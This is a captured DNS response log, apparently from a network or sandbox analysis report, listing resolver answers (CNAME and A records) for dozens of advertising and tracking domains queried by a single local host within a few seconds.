Apr 28, 2024 00:42:43.364367008 CEST	1.1.1.1	192.168.2.4	0xc1c0	No error (0)	static.yieldmo.com	dt2usiyxy6j3j.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.367125988 CEST	1.1.1.1	192.168.2.4	0x1078	No error (0)	kinesis.us-east-1.amazonaws.com		3.91.171.220	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.865014076 CEST	1.1.1.1	192.168.2.4	0x490b	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.867589951 CEST	1.1.1.1	192.168.2.4	0x6067	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.867589951 CEST	1.1.1.1	192.168.2.4	0x6067	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.85.67.14	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.867589951 CEST	1.1.1.1	192.168.2.4	0x6067	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.242.78.179	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.867589951 CEST	1.1.1.1	192.168.2.4	0x6067	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.230.229.56	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.867589951 CEST	1.1.1.1	192.168.2.4	0x6067	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		34.230.229.237	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		54.172.245.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		52.54.212.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		52.0.173.158	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		44.210.158.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		54.156.151.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.869541883 CEST	1.1.1.1	192.168.2.4	0x18da	No error (0)	io.narrative.io		52.45.209.214	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		63.33.13.151	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		52.17.231.33	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		54.229.19.9	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		52.215.143.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		52.215.59.81	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945318937 CEST	1.1.1.1	192.168.2.4	0xae5a	No error (0)	a.audrte.com		18.202.144.73	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945410967 CEST	1.1.1.1	192.168.2.4	0x45ba	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945410967 CEST	1.1.1.1	192.168.2.4	0x45ba	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.118	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945410967 CEST	1.1.1.1	192.168.2.4	0x45ba	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.128	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945410967 CEST	1.1.1.1	192.168.2.4	0x45ba	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945410967 CEST	1.1.1.1	192.168.2.4	0x45ba	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.110	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.945915937 CEST	1.1.1.1	192.168.2.4	0xb37e	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.946269035 CEST	1.1.1.1	192.168.2.4	0x94cd	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.946269035 CEST	1.1.1.1	192.168.2.4	0x94cd	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		51.222.80.231	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		146.59.148.16	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.171.212	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		15.235.15.221	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.171.214	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.170.77	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.170.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.171.213	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.171.215	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947027922 CEST	1.1.1.1	192.168.2.4	0xd8c8	No error (0)	pixel.onaudience.com		141.94.171.216	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.947555065 CEST	1.1.1.1	192.168.2.4	0x62db	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:47.781765938 CEST	1.1.1.1	192.168.2.4	0xb4fe	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:47.781765938 CEST	1.1.1.1	192.168.2.4	0xb4fe	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:47.781765938 CEST	1.1.1.1	192.168.2.4	0xb4fe	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:47.782686949 CEST	1.1.1.1	192.168.2.4	0x7a57	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.739109993 CEST	1.1.1.1	192.168.2.4	0xdd0c	No error (0)	beacon-iad2.rubiconproject.com	beacon-iad2.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.740151882 CEST	1.1.1.1	192.168.2.4	0xb01e	No error (0)	beacon-iad2.rubiconproject.com	beacon-iad2.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.748819113 CEST	1.1.1.1	192.168.2.4	0xecb1	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.749982119 CEST	1.1.1.1	192.168.2.4	0x9e04	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.749982119 CEST	1.1.1.1	192.168.2.4	0x9e04	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.750972033 CEST	1.1.1.1	192.168.2.4	0x5c1f	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.750972033 CEST	1.1.1.1	192.168.2.4	0x5c1f	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.197.158.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		52.4.175.124	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.147.38.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		52.55.65.131	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.163.232.163	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.209.31.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.209.244.95	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.752190113 CEST	1.1.1.1	192.168.2.4	0xd76f	No error (0)	sync.srv.stackadapt.com		54.147.189.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.772701025 CEST	1.1.1.1	192.168.2.4	0x920c	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:48.773235083 CEST	1.1.1.1	192.168.2.4	0x35b2	No error (0)	aax-eu.amazon-adsystem.com		52.94.223.37	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:48.773540974 CEST	1.1.1.1	192.168.2.4	0x82e8	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.064137936 CEST	1.1.1.1	192.168.2.4	0x59fe	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.065723896 CEST	1.1.1.1	192.168.2.4	0x3780	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.206563950 CEST	1.1.1.1	192.168.2.4	0x496b	No error (0)	s.amazon-adsystem.com		52.46.130.91	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.213372946 CEST	1.1.1.1	192.168.2.4	0x4f00	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.213372946 CEST	1.1.1.1	192.168.2.4	0x4f00	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a.a47b.com	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.232.243.114	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		54.144.175.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		52.201.108.5	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.210.33.63	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		34.233.24.34	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		35.168.6.87	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		54.147.241.70	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.217771053 CEST	1.1.1.1	192.168.2.4	0x62b6	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.93.85.59	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.219484091 CEST	1.1.1.1	192.168.2.4	0x8731	No error (0)	a.a47b.com	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		52.206.13.146	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		3.222.141.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		54.144.180.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		50.16.138.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		34.202.147.20	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		54.81.37.196	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		3.210.60.75	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226171970 CEST	1.1.1.1	192.168.2.4	0xd4ec	No error (0)	match-us-east-1-ecs.sharethrough.com		3.229.108.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.226252079 CEST	1.1.1.1	192.168.2.4	0x3e32	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.250725031 CEST	1.1.1.1	192.168.2.4	0xfd5c	No error (0)	hb.yahoo.net		23.215.0.48	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.250725031 CEST	1.1.1.1	192.168.2.4	0xfd5c	No error (0)	hb.yahoo.net		23.215.0.40	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.271488905 CEST	1.1.1.1	192.168.2.4	0x1404	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.271488905 CEST	1.1.1.1	192.168.2.4	0x1404	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.271488905 CEST	1.1.1.1	192.168.2.4	0x1404	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.272305965 CEST	1.1.1.1	192.168.2.4	0x8e56	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.272305965 CEST	1.1.1.1	192.168.2.4	0x8e56	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.287312031 CEST	1.1.1.1	192.168.2.4	0x4c8a	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.288633108 CEST	1.1.1.1	192.168.2.4	0x412b	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.297704935 CEST	1.1.1.1	192.168.2.4	0xc24c	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.297704935 CEST	1.1.1.1	192.168.2.4	0xc24c	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.298325062 CEST	1.1.1.1	192.168.2.4	0x6f89	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.298325062 CEST	1.1.1.1	192.168.2.4	0x6f89	No error (0)	image2v2.pubmnet.com	nje1pugpairb.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.298325062 CEST	1.1.1.1	192.168.2.4	0x6f89	No error (0)	nje1pugpairb.pubmatic.com		207.65.37.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.314264059 CEST	1.1.1.1	192.168.2.4	0xb97f	No error (0)	s8t.teads.tv	s8t.teads.tv-v2.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.315340996 CEST	1.1.1.1	192.168.2.4	0xdabd	No error (0)	s8t.teads.tv	s8t.teads.tv-v2.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.326978922 CEST	1.1.1.1	192.168.2.4	0x2664	No error (0)	cs.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.329336882 CEST	1.1.1.1	192.168.2.4	0x1c7f	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.329336882 CEST	1.1.1.1	192.168.2.4	0x1c7f	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.329336882 CEST	1.1.1.1	192.168.2.4	0x1c7f	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.330854893 CEST	1.1.1.1	192.168.2.4	0xfdd5	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.330854893 CEST	1.1.1.1	192.168.2.4	0xfdd5	No error (0)	image4-v2.pubmnet.com	spug33000-fpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.399719000 CEST	1.1.1.1	192.168.2.4	0xaf73	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.407181978 CEST	1.1.1.1	192.168.2.4	0xa0aa	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.407181978 CEST	1.1.1.1	192.168.2.4	0xa0aa	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.408200026 CEST	1.1.1.1	192.168.2.4	0xdae7	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:49.409188986 CEST	1.1.1.1	192.168.2.4	0xecb6	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.409188986 CEST	1.1.1.1	192.168.2.4	0xecb6	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.409188986 CEST	1.1.1.1	192.168.2.4	0xecb6	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.409276009 CEST	1.1.1.1	192.168.2.4	0x49b6	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.607731104 CEST	1.1.1.1	192.168.2.4	0x28fc	No error (0)	spl.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.607731104 CEST	1.1.1.1	192.168.2.4	0x28fc	No error (0)	spl.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.607731104 CEST	1.1.1.1	192.168.2.4	0x28fc	No error (0)	spl.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.609786034 CEST	1.1.1.1	192.168.2.4	0x447c	No error (0)	spl.zeotap.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:49.665019035 CEST	1.1.1.1	192.168.2.4	0x648	No error (0)	usersync.gumgum.com		52.207.45.55	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.665019035 CEST	1.1.1.1	192.168.2.4	0x648	No error (0)	usersync.gumgum.com		3.213.224.199	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.665019035 CEST	1.1.1.1	192.168.2.4	0x648	No error (0)	usersync.gumgum.com		35.172.99.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.665019035 CEST	1.1.1.1	192.168.2.4	0x648	No error (0)	usersync.gumgum.com		3.214.33.241	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.665019035 CEST	1.1.1.1	192.168.2.4	0x648	No error (0)	usersync.gumgum.com		54.87.127.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.671401978 CEST	1.1.1.1	192.168.2.4	0x695d	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.671401978 CEST	1.1.1.1	192.168.2.4	0x695d	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.671401978 CEST	1.1.1.1	192.168.2.4	0x695d	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.795169115 CEST	1.1.1.1	192.168.2.4	0xce36	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.795840979 CEST	1.1.1.1	192.168.2.4	0xfbb7	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.795840979 CEST	1.1.1.1	192.168.2.4	0xfbb7	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		34.199.195.87	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		44.196.185.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		34.203.5.111	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		52.201.20.96	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		34.192.129.107	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.796713114 CEST	1.1.1.1	192.168.2.4	0x939f	No error (0)	crb.kargo.com		52.205.109.183	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797386885 CEST	1.1.1.1	192.168.2.4	0x7ce8	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797386885 CEST	1.1.1.1	192.168.2.4	0x7ce8	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.216.253.69	A (IP address)	IN (0x0001)	false
